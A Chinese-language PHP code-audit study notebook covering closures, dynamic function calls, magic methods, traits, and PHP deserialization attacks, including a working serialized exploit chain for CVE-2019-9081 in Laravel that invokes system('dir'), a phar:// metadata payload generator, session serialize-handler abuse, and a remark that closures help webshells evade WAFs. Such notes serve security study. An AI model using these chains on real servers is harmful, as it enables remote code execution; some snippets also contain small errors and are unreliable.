php代码审计学习笔记

0x00 php匿名函数

1
2
3
4
5
$next  =function($name){//定义匿名函数
echo $name;
};
$words = "eee";
$next($words);//eee

​ 如若匿名函数在普通函数中则可以通过此方法引用匿名函数

1
2
3
4
5
6
7
8
9
<?php
function closure(){//将匿名函数放在普通函数中,形成闭包
$words = "eee";
$func = function()use($words){//引用局部变量
echo $words;
};
$func();
}
closure();

此方法可以在webshell中使用,绕过waf

0x01 call_user_function函数

1
2
3
4
5
6
7
<?php
function func($b){
echo $b;
}
$c = "aaa";
call_user_func('func',$c);//aaa
call_user_func('assert', "phpinfo()");//输出phpinfo()

0x02 assert函数

assert用于 判断表达式是否成立,返回true或者false。但是当传入一个php语句时,会直接执行PHP语句。

1
assert("phpinfo()");//输出phpinfo()的消息

0x03 …运算符实现变长参数函数

1
2
3
4
5
6
7
<?php
function a(...$args)
{
foreach($args as $a)
echo $a;
}
a("heihei","haha","en")//heiheihahaen

0x04 __get()魔法方法的使用

1
2
3
4
5
6
7
8
9
<?php
class test{
private $name = '111';//私有变量,在类外无法被访问
function __get($a){//调用无法被访问的属性时调用。
return $this->$a;
}
}
$test = new test();
echo $this->name;//111

0x05 php可变函数

1
2
3
4
5
function func(){
echo 'this is a test';
}
$f = 'func';
$f();//this is a test

0x06 反序列化数组变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class a{
protected $attribute;
public function __construct(array $attribute)
{
$this->attribute = $attribute;//构造函数传值,构造变量名
}

public function __get($name)
{
// TODO: Implement __get() method.
return $this->attribute[$name];//输出构造函数名的值
}
}
$c = array('id'=>"haha");//传入变量
$b = new a($c);
var_dump($b->id);//String "haha"

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class a{
protected $attribute;
public function __construct($attribute)
{
$this->attribute = $attribute;
}

public function __get($name)
{
// TODO: Implement __get() method.
return $this->attribute;
}
}
$c = "haha";
$b = new a($c);
var_dump($b->id);

0x07 面向对象单例模式

1、一个类只有一个实例

2、这个实例由类自己创建

3、通过静态方法向整个系统提供这个实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class a{
private static $b = NULL ;
private function __construct(){
}
public static function d(){
self::$b = new a();//一个类只有一个实例,这个实例由类自己创建
return self::$b; //返回创建的实例。self用来指向类中的静态变量。$this是指向对象实例的指针
}
public function test(){
echo 'haha';
}
}
$c = a::d();//通过静态方法向整个系统提供这个实例
$c->test();

0x08 ArrayAccess(数组式访问)接口

1
2
3
4
5
6
7
ArrayAccess {
/* 方法 */
abstract public offsetExists ( mixed $offset ) : boolean
abstract public offsetGet ( mixed $offset ) : mixed
abstract public offsetSet ( mixed $offset , mixed $value ) : void
abstract public offsetUnset ( mixed $offset ) : void
}

提供一个像访问数组一样访问对象的容器的接口,在这个数组里面存储着能被访问的对象。

0x08 cve-2019-9081的exp分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace Illuminate\Foundation\Testing {//PendingCommand.php所在的路径
class PendingCommand //PendingCommand.php文件中的PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Auth{ //此类为了让run中的mockConsoleOutput()能正常执行不在测试类中报错而停止
class GenericUser{
protected $attributes;
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{//此类为了调用那个能执行call方法从而执行rce的类
class Application{
protected $bindings=[];
public function __construct(array $bindings)
{
$this->bindings["Illuminate\Contracts\Console\Kernel"] = $bindings;
}
}
}
namespace {//此处必须加namespace,因为一个文件执行多个命名空间时,此代码也得加命名空间,表示在默认命名空间
$test = new Illuminate\Auth\GenericUser(array("expectedOutput" => array("1" => "1"), "expectedQuestions" => array("1" => "1")));
$app = new Illuminate\Foundation\Application(array("concrete" => "Illuminate\Foundation\Application"));
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand($test, $app, "system", array('dir'))));
}

0x09 __toString()魔法函数

1
2
3
4
5
6
7
8
9
10
11
<?php
class a{
public $b;
public function __toString()
{
// TODO: Implement __toString() method.
echo "this is a test";
}
}
$b = new a();
print($b);//echo也可以,但是print_r()和var_dump()不行,当输出不是字符串时调用__get()

0x10 php trait

在底层php将那trait中的代码复制粘贴到use的类中,类似于继承。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
trait test{
public function test(){
echo "hahah";
}
}
class example{
use test;

}
$a =new example();
$a->test();//hahah

0x11 phar协议的构造反序列化

Phar://配合file_exist()或者file_get_contents()进行反序列化

生成payload Phar.phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
public $a;
public function __construct($test)
{
$this->a = $test;
}
}
class example{}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//第一步设置stub
$o = new test(new example);
$phar->setMetadata($o);//第二步:存放文件权限、属性等,还有用户自定义的meta-data(这个可以数据是以序列化形式存放的,因此可以造成反序列化漏洞)
$phar->addFromString("hahh.jpg","test");//第三部要被压缩的文件内容,第一个是文件名,后面是文件内容,第四步是签名
$phar->stopBuffering();

利用结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class test{
public $a;
public $b;
public function call(){
$this->a->aa();
}
public function __destruct()
{
// TODO: Implement __destruct() method.
$this->call();
}
}
class example{
public function __call($name, $arguments)
{
// TODO: Implement __call() method.
echo "ok";
}
}
$filename = 'phar://phar.phar/hahh.jpg';
file_get_contents($filename);//输出ok表示利用成功

利用条件:

1、文件系统函数参数可控且:/phar可以使用

2、phar文件能上传至服务端

img

0x12 php session反序列化

在调用session_start()之前调用session_save_path(string path)可以修改session存放的路径。

也可以使用session_start(array("save_path"=>string path))来修改存储路径。

这样就可以控制文件包含的路径了,然后通过传值传入sess_id实现rce。

php中session的存储方式:

  • php_binary: ASCII(6)spoocks:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";使用的是key,value格式。
  • Php_serialize:a:1:{s:6:"spoock";s:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}使用反序列化的方式来存储。
  • Php: spoock|s:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";使用key,value的形式,并且通过|进行分隔,后面的value使用反序列化存储。

实验过程:

先实现反序列化payload

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $a;
public function __construct()
{
$this->a = "hahaha";
}
}
$b = new test();
echo serialize($b);//O:4:"test":1:{s:1:"a";s:6:"hahaha";}

然后将payload前面加|实现session—payload|O:4:"test":1:{s:1:"a";s:6:"hahaha";}

将session-payload传入session文件

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["knight"]=$_GET['a'];

此时生成了一个session文件

内容为a:1:{s:6:"spoock";s:37:"|O:4:"test":1:{s:1:"a";s:6:"hahaha";}";}

然后访问文件

1
2
3
4
5
6
7
8
9
10
<?php
//ini_set("session.serialize_handler","php");
session_start();
class test{
public $a;
public function __destruct()
{
echo $this->a;
}
}//hahaha

即可实现php反序列化

利用条件:

1、两次session.serialize_handler处理引擎不同

2、能传值进入php session文件

3、有反序列化点

tips:如果对反序列化的结果进行了字符串长度变化的操作,可以使用;}截断反序列化

1
2
3
4
5
6
7
<?php
$username="a'a\a;}";
$passwd="bbb";

$user = array($username,$passwd);
var_dump("\\0");
echo serialize($user);//a:2:{i:0;s:1:"a";i:1;s:2:"bb";}";i:1;s:3:"bbb";}

tips:寻找rce时还可以寻找类似的

1
2
3
4
<?php
$a = "system";
$b = "dir";
$a($b);//输出文件目录

tips:当遇见$this->event->aaa($event)$this->event是个可控的类名,那么就可以去寻找是否有类存在__call方法,然后看看能不能通过此方法执行任意函数。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class a{

public function __call($name, $arguments)
{
// TODO: Implement __call() method.
echo $name."\n";
var_dump($arguments);
}
}
$b = new a();
$b->d("id");//a array([0]=>"id")